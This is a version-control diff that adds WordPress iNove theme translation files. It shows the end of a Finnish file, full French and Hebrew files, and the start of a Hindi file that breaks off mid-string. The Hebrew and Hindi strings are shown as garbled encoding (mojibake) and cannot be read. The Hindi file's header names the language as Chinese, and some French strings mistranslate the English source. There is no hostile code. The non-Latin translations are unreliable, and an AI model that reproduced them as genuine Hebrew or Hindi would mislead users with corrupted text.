"Kommenttisi odottaa arviointia." + +#: links.php:18 +msgid "Add link" +msgstr "Lisää linkki" + +#: links.php:19 +msgid "Edit links" +msgstr "Muokkaa linkkejä" + +#: sidebar.php:25 +msgid "Subscribe to this blog..." +msgstr "Tilaa tämä blogi..." + +#: sidebar.php:25 +msgid "RSS" +msgstr "" + +#: sidebar.php:28 +#: sidebar.php:29 +#: sidebar.php:30 +#: sidebar.php:31 +#: sidebar.php:32 +#: sidebar.php:33 +#: sidebar.php:34 +#: sidebar.php:35 +msgid "Subscribe with " +msgstr "Tilaa" + +#: sidebar.php:28 +msgid "Google" +msgstr "Google" + +#: sidebar.php:29 +msgid "Youdao" +msgstr "Youdao" + +#: sidebar.php:30 +msgid "Xian Guo" +msgstr "Xian Guo" + +#: sidebar.php:31 +msgid "Zhua Xia" +msgstr "Zhua Xia" + +#: sidebar.php:32 +msgid "My Yahoo!" +msgstr "My Yahoo!" + +#: sidebar.php:33 +msgid "newsgator" +msgstr "newsgator" + +#: sidebar.php:34 +msgid "Bloglines" +msgstr "Bloglines" + +#: sidebar.php:35 +msgid "iNezha" +msgstr "iNezha" + +#: sidebar.php:40 +msgid "Subscribe to this blog via email..." +msgstr "Tilaa tämä blogi sähköpostiin..." + +#: sidebar.php:40 +msgid "Email feed" +msgstr "Sähköpostisyöte" + +#: sidebar.php:42 +msgid "Follow me!" +msgstr "" + +#: single.php:7 +msgid "Go to homepage" +msgstr "Mene etusivulle" + +#: single.php:7 +msgid "Home" +msgstr "Etusivu" + +#: templates/header.php:66 +msgid "Type text to search here..." +msgstr "Laita hakusana tähän..." + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/inove/languages/fr_FR.mo Binary file web/wp-content/themes/inove/languages/fr_FR.mo has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/inove/languages/fr_FR.po --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/inove/languages/fr_FR.po Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,569 @@ +msgid "" +msgstr "" +"Project-Id-Version: iNove 1.4\n" +"Report-Msgid-Bugs-To: \n" +"POT-Creation-Date: 2009-08-07 13:46+0900\n" +"PO-Revision-Date: \n" +"Last-Translator: mg12 \n" +"Language-Team: NeoEase \n" +"MIME-Version: 1.0\n" +"Content-Type: text/plain; charset=UTF-8\n" +"Content-Transfer-Encoding: 8bit\n" +"X-Poedit-Language: Français\n" +"X-Poedit-Country: France\n" +"X-Poedit-SourceCharset: utf-8\n" +"X-Poedit-KeywordsList: _e;__\n" +"X-Poedit-Basepath: ..\n" +"X-Poedit-SearchPath-0: .\n" + +#: 404.php:8 +#: header.php:27 +msgid "RSS 2.0 - all posts" +msgstr "RSS 2.0 - Tous les articles" + +#: 404.php:9 +#: header.php:28 +msgid "RSS 2.0 - all comments" +msgstr "RSS 2.0 - Tous les commentaires" + +#: 404.php:22 +msgid "Talker" +msgstr "Auteur" + +#: 404.php:25 +msgid "Welcome to 404 error page!" +msgstr "Bienvenue sur la page d'erreur 404 !" + +#: 404.php:26 +msgid "Welcome to this customized error page. You've reached this page because you've clicked on a link that does not exist. This is probably our fault... but instead of showing you the basic '404 Error' page that is confusing and doesn't really explain anything, we've created this page to explain what went wrong." +msgstr "Bienvenue sur la page d'erreur. Vous êtes sur cette page car vous avez cliqué sur un lien qui n'est plus valide. Ceci est probablement votre faute ... Mais généralement les pages d'erreur 404 sont similaires au site et les gens peuvent facilement les confondre avec une page normale. Cette page est là pour vous éviter de faire cette erreur !" + +#: 404.php:27 +msgid "You can either (a) click on the 'back' button in your browser and try to navigate through our site in a different direction, or (b) click on the following link to go to homepage." +msgstr "Vous pouvez cliquer sur le bouton de retour ou faire précedent dans votre navigateur." + +#: 404.php:29 +msgid "Back to homepage »" +msgstr "Retour à la page d'accueil »" + +#: archive.php:10 +msgid "Search Results" +msgstr "Résultats de la recherche" + +#: archive.php:11 +#, php-format +msgid "Keyword: ‘%1$s’" +msgstr "Mot clé : ‘%1$s’" + +#: archive.php:14 +msgid "Archive" +msgstr "Archive" + +#: archive.php:19 +#, php-format +msgid "Archive for the ‘%1$s’ Category" +msgstr "Archives pour la catégorie ‘%1$s’" + +#: archive.php:22 +#, php-format +msgid "Posts Tagged ‘%1$s’" +msgstr "Articles taggués ‘%1$s’" + +#: archive.php:25 +#: archive.php:28 +#: archive.php:31 +#, php-format +msgid "Archive for %1$s" +msgstr "Archives pour %1$s" + +#: archive.php:25 +#: archive.php:47 +#: archives.php:14 +#: comments.php:91 +#: functions.php:563 +#: index.php:22 +#: links.php:25 +#: page.php:8 +#: single.php:15 +#: twitter.php:15 +msgid "F jS, Y" +msgstr "d/m/Y" + +#: archive.php:28 +msgid "F, Y" +msgstr "m/Y" + +#: archive.php:31 +msgid "Y" +msgstr "Y" + +#: archive.php:34 +msgid "Author Archive" +msgstr "Archives de l'auteur" + +#: archive.php:37 +msgid "Blog Archives" +msgstr "Archives du blog" + +#: archive.php:49 +#: archives.php:15 +#: comments.php:95 +#: functions.php:571 +#: index.php:24 +#: links.php:26 +#: page.php:9 +#: single.php:17 +#: twitter.php:16 +msgid "Edit" +msgstr "Editer" + +#: archive.php:50 +#: index.php:25 +msgid "No comments" +msgstr "Aucun commentaire" + +#: archive.php:50 +#: index.php:25 +msgid "1 comment" +msgstr "un commentaire" + +#: archive.php:50 +#: index.php:25 +#, php-format +msgid "% comments" +msgstr "% commentaires" + +#: archive.php:50 +#: index.php:25 +msgid "Comments off" +msgstr "" + +#: archive.php:54 +#: index.php:29 +msgid "Read more..." +msgstr "Lire la suite..." + +#: archive.php:58 +#: index.php:33 +#: single.php:29 +msgid "Categories: " +msgstr "" + +#: archive.php:59 +#: index.php:34 +#: single.php:30 +msgid "Tags: " +msgstr "" + +#: archive.php:64 +#: archives.php:39 +#: index.php:39 +#: links.php:59 +#: page.php:26 +#: single.php:68 +#: twitter.php:36 +msgid "Sorry, no posts matched your criteria." +msgstr "Désolé, aucun article ne correspond a votre recherche" + +#: archive.php:72 +#: index.php:47 +msgid "Newer Entries" +msgstr "Entrées récentes" + +#: archive.php:73 +#: index.php:48 +msgid "Older Entries" +msgstr "Anciennes entrées" + +#: archives.php:17 +#: comments.php:31 +#: links.php:28 +#: page.php:11 +#: single.php:19 +#: twitter.php:18 +msgid "Leave a comment" +msgstr "Commenter" + +#: archives.php:18 +#: links.php:29 +#: page.php:12 +#: single.php:20 +#: twitter.php:19 +msgid "Go to comments" +msgstr "Allez aux commentaires" + +#: comments.php:5 +msgid "Enter your password to view comments." +msgstr "Entrez votre mot de passe pour voir les commentaires" + +#: comments.php:25 +#: comments.php:28 +#: functions.php:367 +msgid "Comments" +msgstr "Commentaires" + +#: comments.php:26 +msgid "Trackbacks" +msgstr "Trackbacks" + +#: comments.php:34 +msgid "Trackback" +msgstr "Trackback" + +#: comments.php:58 +msgid "No comments yet." +msgstr "Pas encore de commentaire" + +#: comments.php:72 +msgid "Comment pages" +msgstr "Page des commentaires" + +#: comments.php:91 +#: functions.php:563 +#, php-format +msgid "%1$s at %2$s" +msgstr "%1$s à %2$s" + +#: comments.php:91 +#: functions.php:563 +msgid "H:i" +msgstr "H:i" + +#: comments.php:108 +msgid "No trackbacks yet." +msgstr "Pas encore de trackbacks" + +#: comments.php:123 +msgid "Comments are closed." +msgstr "Les commentaires sont fermés." + +#: comments.php:134 +#, php-format +msgid "You must be logged in to post a comment." +msgstr "Vous devez être identifié pour poster un commentaire" + +#: comments.php:150 +msgid "Logged in as" +msgstr "Connecté sous" + +#: comments.php:151 +msgid "Log out of this account" +msgstr "Déconnexion de ce compte" + +#: comments.php:151 +msgid "Logout »" +msgstr "Déconnexion »" + +#: comments.php:157 +#, php-format +msgid "Welcome back %s." +msgstr "Bienvenue %s" + +#: comments.php:158 +msgid "Change »" +msgstr "Modifier »" + +#: comments.php:159 +msgid "Close »" +msgstr "Fermer »" + +#: comments.php:166 +msgid "Name" +msgstr "Nom" + +#: comments.php:166 +#: comments.php:170 +msgid "(required)" +msgstr "(requis)" + +#: comments.php:170 +msgid "E-Mail (will not be published)" +msgstr "E-Mail (ne sera pas publié)" + +#: comments.php:174 +msgid "Website" +msgstr "Site internet" + +#: comments.php:191 +msgid "Subscribe to comments feed" +msgstr "S'abonner aux commentaires" + +#: comments.php:193 +msgid "Submit Comment" +msgstr "Envoyer un commentaire" + +#: footer.php:17 +msgid "Top" +msgstr "Remonter ;)" + +#: footer.php:27 +msgid "Copyright © " +msgstr "Copyright © " + +#: footer.php:39 +#, php-format +msgid "Theme by NeoEase. Valid XHTML 1.1 and CSS 3." +msgstr "Theme par NeoEase. Valide XHTML 1.1 et CSS 3." + +#: functions.php:180 +#: functions.php:189 +msgid "Current Theme Options" +msgstr "Options du thème" + +#: functions.php:194 +msgid "Search" +msgstr "Recherche" + +#: functions.php:198 +msgid "Using google custom search engine." +msgstr "Utiliser google comme moteur de recherche" + +#: functions.php:201 +msgid "CX:" +msgstr "CX:" + +#: functions.php:204 +msgid "Find name=\"cx\" in the Search box code of Google Custom Search Engine, and type the value here.
    For example: 014782006753236413342:1ltfrybsbz4" +msgstr "Trouver name=\"cx\" dans La boite de recherche de code des Recherches Personnalisés Google, et entrez la valeur ici.
    Par exemple: 014782006753236413342:1ltfrybsbz4" + +#: functions.php:213 +msgid "Menubar" +msgstr "Barre de menu" + +#: functions.php:217 +msgid "Show pages as menu." +msgstr "Afficher les pages comme des menus." + +#: functions.php:221 +msgid "Show categories as menu." +msgstr "Afficher les catégories comme des menus." + +#: functions.php:231 +msgid "Sidebar" +msgstr "" + +#: functions.php:235 +msgid "Hide sidebar from all pages." +msgstr "" + +#: functions.php:246 +msgid "Notice" +msgstr "Notification" + +#: functions.php:248 +#: functions.php:272 +#: functions.php:307 +#: functions.php:430 +msgid "HTML enabled" +msgstr "HTML Activé" + +#: functions.php:254 +msgid "This notice bar will display at the top of posts on homepage." +msgstr "Cette notification sera affichée en haut des articles sur la page d'accueil." + +#: functions.php:270 +msgid "Banner" +msgstr "" + +#: functions.php:276 +msgid "This banner will display at the right of header. (height: 60 pixels)" +msgstr "" + +#: functions.php:278 +#: functions.php:313 +msgid "Who can see?" +msgstr "Qui peut voir ?" + +#: functions.php:281 +#: functions.php:316 +msgid "Registered Users" +msgstr "Les Utilisateurs enregistrés" + +#: functions.php:285 +#: functions.php:320 +msgid "Commentator" +msgstr "Commentateur" + +#: functions.php:289 +#: functions.php:324 +msgid "Visitors" +msgstr "Visiteurs" + +#: functions.php:305 +#: sidebar.php:56 +msgid "Showcase" +msgstr "Focus" + +#: functions.php:311 +msgid "This showcase will display at the top of sidebar." +msgstr "Ce focus sera affiché en haut de la barre de navigation." + +#: functions.php:329 +msgid "Title:" +msgstr "Titre:" + +#: functions.php:345 +msgid "Posts" +msgstr "Articles" + +#: functions.php:349 +msgid "Show author on posts." +msgstr "" + +#: functions.php:353 +msgid "Show categories on posts." +msgstr "Afficer les catégories sur les articles." + +#: functions.php:357 +msgid "Show tags on posts." +msgstr "Afficher les tags sur les articles." + +#: functions.php:371 +msgid "Submit comments with Ctrl+Enter." +msgstr "" + +#: functions.php:381 +msgid "Feed" +msgstr "Flux" + +#: functions.php:385 +msgid "Show the feed reader list when mouse over on feed button." +msgstr "" + +#: functions.php:390 +msgid "Custom feed." +msgstr "Flux personnalisé." + +#: functions.php:392 +#: functions.php:398 +msgid "URL:" +msgstr "URL:" + +#: functions.php:396 +msgid "Email feed." +msgstr "Flux par E-mail" + +#: functions.php:407 +#: sidebar.php:42 +msgid "Twitter" +msgstr "" + +#: functions.php:411 +msgid "Add Twitter button." +msgstr "" + +#: functions.php:414 +msgid "Twitter username:" +msgstr "" + +#: functions.php:428 +msgid "Web Analytics" +msgstr "" + +#: functions.php:435 +msgid "Add web analytics code to your site. (e.g. Google Analytics, Yahoo! Web Analytics, ...)" +msgstr "" + +#: functions.php:446 +msgid "Save Changes" +msgstr "Enregistrer les changements" + +#: functions.php:567 +msgid "Reply" +msgstr "Répondre" + +#: functions.php:568 +msgid "Quote" +msgstr "Citer" + +#: functions.php:573 +msgid "Advanced edit" +msgstr "Editer" + +#: functions.php:579 +msgid "Your comment is awaiting moderation." +msgstr "" + +#: links.php:18 +msgid "Add link" +msgstr "" + +#: links.php:19 +msgid "Edit links" +msgstr "Editer les liens" + +#: sidebar.php:25 +msgid "Subscribe to this blog..." +msgstr "S'abonner à ce blog..." + +#: sidebar.php:25 +msgid "RSS" +msgstr "" + +#: sidebar.php:28 +#: sidebar.php:29 +#: sidebar.php:30 +#: sidebar.php:31 +#: sidebar.php:32 +#: sidebar.php:33 +#: sidebar.php:34 +#: sidebar.php:35 +msgid "Subscribe with " +msgstr "S'abonner avec" + +#: sidebar.php:28 +msgid "Google" +msgstr "Google" + +#: sidebar.php:29 +msgid "Youdao" +msgstr "Youdao" + +#: sidebar.php:30 +msgid "Xian Guo" +msgstr "Xian Guo" + +#: sidebar.php:31 +msgid "Zhua Xia" +msgstr "Zhua Xia" + +#: sidebar.php:32 +msgid "My Yahoo!" +msgstr "Mon Yahoo!" + +#: sidebar.php:33 +msgid "newsgator" +msgstr "newsgator" + +#: sidebar.php:34 +msgid "Bloglines" +msgstr "Bloglines" + +#: sidebar.php:35 +msgid "iNezha" +msgstr "iNezha" + +#: sidebar.php:40 +msgid "Subscribe to this blog via email..." +msgstr "S'abonner à ce blog par E-Mail..." + +#: sidebar.php:40 +msgid "Email feed" +msgstr "RSS par E-Mail" + +#: sidebar.php:42 +msgid "Follow me!" +msgstr "" + +#: single.php:7 +msgid "Go to homepage" +msgstr "Allez à la page d'accueil" + +#: single.php:7 +msgid "Home" +msgstr "Accueil" + +#: templates/header.php:66 +msgid "Type text to search here..." +msgstr "" + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/inove/languages/he_IL.mo Binary file web/wp-content/themes/inove/languages/he_IL.mo has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/inove/languages/he_IL.po --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/inove/languages/he_IL.po Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,572 @@ +msgid "" +msgstr "" +"Project-Id-Version: iNove 1.4\n" +"Report-Msgid-Bugs-To: \n" +"POT-Creation-Date: 2009-08-07 13:46+0900\n" +"PO-Revision-Date: \n" +"Last-Translator: mg12 \n" +"Language-Team: NeoEase \n" +"MIME-Version: 1.0\n" +"Content-Type: text/plain; charset=UTF-8\n" +"Content-Transfer-Encoding: 8bit\n" +"X-Poedit-Language: Hebrew\n" +"X-Poedit-Country: ISRAEL\n" +"X-Poedit-SourceCharset: utf-8\n" +"X-Poedit-KeywordsList: _e;__\n" +"X-Poedit-Basepath: ..\n" +"X-Poedit-SearchPath-0: .\n" + +#: 404.php:8 +#: header.php:27 +msgid "RSS 2.0 - all posts" +msgstr "רסס 2.0 - כל הרשומות" + +#: 404.php:9 +#: header.php:28 +msgid "RSS 2.0 - all comments" +msgstr "רסס 2.0 - כל התגובות" + +#: 404.php:22 +msgid "Talker" +msgstr "פטפטן" + +#: 404.php:25 +msgid "Welcome to 404 error page!" +msgstr "ברוך ×”×‘× ×œ×“×£ שגי××” 404!" + +#: 404.php:26 +msgid "Welcome to this customized error page. You've reached this page because you've clicked on a link that does not exist. This is probably our fault... but instead of showing you the basic '404 Error' page that is confusing and doesn't really explain anything, we've created this page to explain what went wrong." +msgstr "ברוך ×”×‘× ×œ×“×£ השגי××” המות×× ×ישית שלי. הגעת לדף ×”×–×” מכיוון שהקלקת על קישור ×©×œ× ×§×™×™×. ×–×ת כנר××” ×שמתנו... ×בל ×‘×ž×§×•× ×œ×—×¤×© ××©×ž×™× ×•×œ×”×¨×ות לך ×ת דף ×”404 הרגיל, ×©×œ× ×‘×מת מסביר מה קרה ×ו ×ומר מה לעשות, יצרנו ×ת הדף ×”×–×” בשביל להסביר לך מה השתבש." + +#: 404.php:27 +msgid "You can either (a) click on the 'back' button in your browser and try to navigate through our site in a different direction, or (b) click on the following link to go to homepage." +msgstr "ב×פשרותך (×) ללחוץ על הכפתור ×”'חזרה' בדפדפן שלך ×ו (ב) לנסות להגיע ל×ן שרצית דרך דף הבית בלינק ×”×–×”." + +#: 404.php:29 +msgid "Back to homepage »" +msgstr "» חזרה לדף הבית" + +#: archive.php:10 +msgid "Search Results" +msgstr "תוצ×ות חיפוש" + +#: archive.php:11 +#, php-format +msgid "Keyword: ‘%1$s’" +msgstr "מילת מפתח: ‘%1$s’" + +#: archive.php:14 +msgid "Archive" +msgstr "×רכיון" + +#: archive.php:19 +#, php-format +msgid "Archive for the ‘%1$s’ Category" +msgstr "×רכיון לקטגוריה ‘%1$s’ " + +#: archive.php:22 +#, php-format +msgid "Posts Tagged ‘%1$s’" +msgstr "רשומות ×¢× ×”×ª×’ ‘%1$s’" + +#: archive.php:25 +#: archive.php:28 +#: archive.php:31 +#, php-format +msgid "Archive for %1$s" +msgstr "×רכיון של %1$s" + +#: archive.php:25 +#: archive.php:47 +#: archives.php:14 +#: comments.php:91 +#: functions.php:563 +#: index.php:22 +#: links.php:25 +#: page.php:8 +#: single.php:15 +#: twitter.php:15 +msgid "F jS, Y" +msgstr "j F, Y" + +#: archive.php:28 +msgid "F, Y" +msgstr "F, Y" + +#: archive.php:31 +msgid "Y" +msgstr "Y" + +#: archive.php:34 +msgid "Author Archive" +msgstr "×רכיון הכותב" + +#: archive.php:37 +msgid "Blog Archives" +msgstr "×רכיון הבלוג" + +#: archive.php:49 +#: archives.php:15 +#: comments.php:95 +#: functions.php:571 +#: index.php:24 +#: links.php:26 +#: page.php:9 +#: single.php:17 +#: twitter.php:16 +msgid "Edit" +msgstr "עריכה" + +#: archive.php:50 +#: index.php:25 +msgid "No comments" +msgstr "×ין תגובות" + +#: archive.php:50 +#: index.php:25 +msgid "1 comment" +msgstr "תגובה ×חת" + +#: archive.php:50 +#: index.php:25 +#, php-format +msgid "% comments" +msgstr "% תגובות" + +#: archive.php:50 +#: index.php:25 +msgid "Comments off" +msgstr "×פשרות התגובות מנוטרלת" + +#: archive.php:54 +#: index.php:29 +msgid "Read more..." +msgstr "×§×¨× ×¢×•×“..." + +#: archive.php:58 +#: index.php:33 +#: single.php:29 +msgid "Categories: " +msgstr "קטגוריות:" + +#: archive.php:59 +#: index.php:34 +#: single.php:30 +msgid "Tags: " +msgstr "תגיות:" + +#: archive.php:64 +#: archives.php:39 +#: index.php:39 +#: links.php:59 +#: page.php:26 +#: single.php:68 +#: twitter.php:36 +msgid "Sorry, no posts matched your criteria." +msgstr "צטערת, ×œ× × ×ž×¦×ו רשומות שת×מו ×ת חיפושך" + +#: archive.php:72 +#: index.php:47 +msgid "Newer Entries" +msgstr "רשומות חדשות יותר" + +#: archive.php:73 +#: index.php:48 +msgid "Older Entries" +msgstr "רשומות ישנות יותר" + +#: archives.php:17 +#: comments.php:31 +#: links.php:28 +#: page.php:11 +#: single.php:19 +#: twitter.php:18 +msgid "Leave a comment" +msgstr "הש×ר תגובה" + +#: archives.php:18 +#: links.php:29 +#: page.php:12 +#: single.php:20 +#: twitter.php:19 +msgid "Go to comments" +msgstr "הל××” לתגובות" + +#: comments.php:5 +msgid "Enter your password to view comments." +msgstr "הכנס ×ת סיסמתך בשביל לצפות בתגובות." + +#: comments.php:25 +#: comments.php:28 +#: functions.php:367 +msgid "Comments" +msgstr "תגובות" + +#: comments.php:26 +msgid "Trackbacks" +msgstr "הפניות" + +#: comments.php:34 +msgid "Trackback" +msgstr "הפניה" + +#: comments.php:58 +msgid "No comments yet." +msgstr "×ין תגובות עדיין." + +#: comments.php:72 +msgid "Comment pages" +msgstr "דפי תגובות" + +#: comments.php:91 +#: functions.php:563 +#, php-format +msgid "%1$s at %2$s" +msgstr "%1$s מתוך %2$s" + +#: comments.php:91 +#: functions.php:563 +msgid "H:i" +msgstr "H:i" + +#: comments.php:108 +msgid "No trackbacks yet." +msgstr "×ין הפניות עדיין." + +#: comments.php:123 +msgid "Comments are closed." +msgstr "×ין ×פשרות להוסיף תגובות." + +#: comments.php:134 +#, php-format +msgid "You must be logged in to post a comment." +msgstr "עליך להיות מחובר בשביל ×œ×¤×¨×¡× ×ª×’×•×‘×”." + +#: comments.php:150 +msgid "Logged in as" +msgstr "מחובר למערכת בתור" + +#: comments.php:151 +msgid "Log out of this account" +msgstr "התנתק מחשבון ×–×”" + +#: comments.php:151 +msgid "Logout »" +msgstr "» התנתק" + +#: comments.php:157 +#, php-format +msgid "Welcome back %s." +msgstr "ברוך השב ל%s." + +#: comments.php:158 +msgid "Change »" +msgstr "» שנה" + +#: comments.php:159 +msgid "Close »" +msgstr " » סגור" + +#: comments.php:166 +msgid "Name" +msgstr "ש×" + +#: comments.php:166 +#: comments.php:170 +msgid "(required)" +msgstr "(נדרש)" + +#: comments.php:170 +msgid "E-Mail (will not be published)" +msgstr "דו×ר ×לקטרוני (×œ× ×™×¤×•×¨×¡× ×¢× ×”×ª×’×•×‘×”)" + +#: comments.php:174 +msgid "Website" +msgstr "×תר ×ינטרנט" + +#: comments.php:191 +msgid "Subscribe to comments feed" +msgstr "×”×¨×©× ×œ×”×–× ×ª תגובות" + +#: comments.php:193 +msgid "Submit Comment" +msgstr "שלח תגובה" + +#: footer.php:17 +msgid "Top" +msgstr "חזרה למעלה" + +#: footer.php:27 +msgid "Copyright © " +msgstr "כל הזכויות שמורות © " + +#: footer.php:39 +#, php-format +msgid "Theme by NeoEase. Valid XHTML 1.1 and CSS 3." +msgstr "ערכת עיצוב על ידי NeoEase. מ×ושרת בתקן XHTML 1.1 וCSS 3." + +#: functions.php:180 +#: functions.php:189 +msgid "Current Theme Options" +msgstr "×פשרויות ערכת עיצוב" + +#: functions.php:194 +msgid "Search" +msgstr "חפש" + +#: functions.php:198 +msgid "Using google custom search engine." +msgstr "שימוש בחיפוש מות×× ×ישית של גוגל." + +#: functions.php:201 +msgid "CX:" +msgstr "CX:" + +#: functions.php:204 +msgid "Find name=\"cx\" in the Search box code of Google Custom Search Engine, and type the value here.
    For example: 014782006753236413342:1ltfrybsbz4" +msgstr "חפש ×ת name=\"cx\" בקוד של מנוע החיפוש המות×× ×ישית של גוגל, ×•×¨×©×•× ×ת הערך ×›×ן.
    לדוגמ×: 014782006753236413342:1ltfrybsbz4" + +#: functions.php:213 +msgid "Menubar" +msgstr "שורת תפריט עילית" + +#: functions.php:217 +msgid "Show pages as menu." +msgstr "הר××” ×“×¤×™× ×‘×ª×•×¨ תפריט" + +#: functions.php:221 +msgid "Show categories as menu." +msgstr "הר××” קטגוריות בתור תפריט" + +#: functions.php:231 +msgid "Sidebar" +msgstr "סרגל צדדי" + +#: functions.php:235 +msgid "Hide sidebar from all pages." +msgstr "" + +#: functions.php:246 +msgid "Notice" +msgstr "שורת הודעה" + +#: functions.php:248 +#: functions.php:272 +#: functions.php:307 +#: functions.php:430 +msgid "HTML enabled" +msgstr "HTML מ×ופשר" + +#: functions.php:254 +msgid "This notice bar will display at the top of posts on homepage." +msgstr "שורת ההודעה ×”×–×ת תופיע בר×ש הרשימות בדף הר×שי שלך." + +#: functions.php:270 +msgid "Banner" +msgstr "ב×נר" + +#: functions.php:276 +msgid "This banner will display at the right of header. (height: 60 pixels)" +msgstr "הב×נר יוצג מימין לHeader.(גובה: 60 פיקסלי×)" + +#: functions.php:278 +#: functions.php:313 +msgid "Who can see?" +msgstr "מי יכול לר×ות?" + +#: functions.php:281 +#: functions.php:316 +msgid "Registered Users" +msgstr "×ž×©×ª×ž×©×™× ×¨×©×•×ž×™×" + +#: functions.php:285 +#: functions.php:320 +msgid "Commentator" +msgstr "מגיב" + +#: functions.php:289 +#: functions.php:324 +msgid "Visitors" +msgstr "מבקרי×" + +#: functions.php:305 +#: sidebar.php:56 +msgid "Showcase" +msgstr "×רונית תצוגה" + +#: functions.php:311 +msgid "This showcase will display at the top of sidebar." +msgstr "×רונית התצוגה ×”×–×ת תופיע בר×ש הסרגל הצדדי." + +#: functions.php:329 +msgid "Title:" +msgstr "כותרת:" + +#: functions.php:345 +msgid "Posts" +msgstr "פוסטי×" + +#: functions.php:349 +msgid "Show author on posts." +msgstr "הצג ×ת המחבר בפוסטי×." + +#: functions.php:353 +msgid "Show categories on posts." +msgstr "הצג קטגוריות ברשומות." + +#: functions.php:357 +msgid "Show tags on posts." +msgstr "הצג ×ª×’×™× ×‘×¨×©×•×ž×•×ª." + +#: functions.php:371 +msgid "Submit comments with Ctrl+Enter." +msgstr "שלח תגובה על ידי לחיצה על ×”×›×¤×ª×•×¨×™× Ctrl+Enter" + +#: functions.php:381 +msgid "Feed" +msgstr "רסס" + +#: functions.php:385 +msgid "Show the feed reader list when mouse over on feed button." +msgstr "הצג ×ת רשימת קור××™ ×”×¤×™×“×™× ×›×שר ×ž×¢×‘×™×¨×™× ×ת העבר על כפתור הפידי×." + +#: functions.php:390 +msgid "Custom feed." +msgstr "רסס מו×× ×ישית." + +#: functions.php:392 +#: functions.php:398 +msgid "URL:" +msgstr "כתובת:" + +#: functions.php:396 +msgid "Email feed." +msgstr "רסס דו×ר ×לקטרוני." + +#: functions.php:407 +#: sidebar.php:42 +msgid "Twitter" +msgstr "" + +#: functions.php:411 +msgid "Add Twitter button." +msgstr "" + +#: functions.php:414 +msgid "Twitter username:" +msgstr "" + +#: functions.php:428 +msgid "Web Analytics" +msgstr "" + +#: functions.php:435 +msgid "Add web analytics code to your site. (e.g. Google Analytics, Yahoo! Web Analytics, ...)" +msgstr "" + +#: functions.php:446 +msgid "Save Changes" +msgstr "שמור שינויי×" + +#: functions.php:567 +msgid "Reply" +msgstr "הגב" + +#: functions.php:568 +msgid "Quote" +msgstr "ציטוט" + +#: functions.php:573 +msgid "Advanced edit" +msgstr "עריכה מתקדמת" + +#: functions.php:579 +msgid "Your comment is awaiting moderation." +msgstr "תגובתך ממתינה ל×ישור המנהל." + +#: links.php:18 +msgid "Add link" +msgstr "הוסף קישור" + +#: links.php:19 +msgid "Edit links" +msgstr "ערוך קישורי×" + +#: sidebar.php:25 +msgid "Subscribe to this blog..." +msgstr "×”×¨×©× ×œ×‘×œ×•×’ ×”×–×”..." + +#: sidebar.php:25 +msgid "RSS" +msgstr "" + +#: sidebar.php:28 +#: sidebar.php:29 +#: sidebar.php:30 +#: sidebar.php:31 +#: sidebar.php:32 +#: sidebar.php:33 +#: sidebar.php:34 +#: sidebar.php:35 +msgid "Subscribe with " +msgstr "×”×¨×©× ×“×¨×š" + +#: sidebar.php:28 +msgid "Google" +msgstr "גוגל" + +#: sidebar.php:29 +msgid "Youdao" +msgstr "Youdao" + +#: sidebar.php:30 +msgid "Xian Guo" +msgstr "Xian Guo" + +#: sidebar.php:31 +msgid "Zhua Xia" +msgstr "Zhua Xia" + +#: sidebar.php:32 +msgid "My Yahoo!" +msgstr "×™×הו!" + +#: sidebar.php:33 +msgid "newsgator" +msgstr "ניוז ×’×טור" + +#: sidebar.php:34 +msgid "Bloglines" +msgstr "שורות הבלוג" + +#: sidebar.php:35 +msgid "iNezha" +msgstr "iNezha" + +#: sidebar.php:40 +msgid "Subscribe to this blog via email..." +msgstr "×”×¨×©× ×œ×‘×œ×•×’ דרך הדו×\"ל" + +#: sidebar.php:40 +msgid "Email feed" +msgstr "רסס דו×ר ×לקטרוני" + +#: sidebar.php:42 +msgid "Follow me!" +msgstr "" + +#: single.php:7 +msgid "Go to homepage" +msgstr "חזור לדף הבית" + +#: single.php:7 +msgid "Home" +msgstr "דף הבית" + +#: templates/header.php:66 +msgid "Type text to search here..." +msgstr "הקלד ×›×ן טקסט על מנת לבצע חיפוש..." + +#~ msgid "Blogroll" +#~ msgstr "בלוגרול" + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/inove/languages/hi_IN.mo Binary file web/wp-content/themes/inove/languages/hi_IN.mo has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/inove/languages/hi_IN.po --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/inove/languages/hi_IN.po Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,569 @@ +msgid "" +msgstr "" +"Project-Id-Version: iNove 1.4\n" +"Report-Msgid-Bugs-To: \n" +"POT-Creation-Date: 2009-08-07 13:46+0900\n" +"PO-Revision-Date: \n" +"Last-Translator: mg12 \n" +"Language-Team: NeoEase \n" +"MIME-Version: 1.0\n" +"Content-Type: text/plain; charset=UTF-8\n" +"Content-Transfer-Encoding: 8bit\n" +"X-Poedit-Language: Chinese\n" +"X-Poedit-Country: CHINA\n" +"X-Poedit-SourceCharset: utf-8\n" +"X-Poedit-KeywordsList: _e;__\n" +"X-Poedit-Basepath: ..\n" +"X-Poedit-SearchPath-0: .\n" + +#: 404.php:8 +#: header.php:27 +msgid "RSS 2.0 - all posts" +msgstr "RSS 2.0 - सभी पà¥à¤°à¤µà¤¿à¤·à¥à¤Ÿà¤¿à¤¯à¤¾à¤ " + +#: 404.php:9 +#: header.php:28 +msgid "RSS 2.0 - all comments" +msgstr "RSS 2.0 - सभी टिपà¥à¤ªà¤£à¤¿à¤¯à¤¾à¤ " + +#: 404.php:22 +msgid "Talker" +msgstr "टोकर " + +#: 404.php:25 +msgid "Welcome to 404 error page!" +msgstr "404 तà¥à¤°à¥à¤Ÿà¥€ पनà¥à¤¨à¥‡ पर सà¥à¤µà¤¾à¤—त है! " + +#: 404.php:26 +msgid "Welcome to this customized error page. You've reached this page because you've clicked on a link that does not exist. This is probably our fault... but instead of showing you the basic '404 Error' page that is confusing and doesn't really explain anything, we've created this page to explain what went wrong." +msgstr "इस 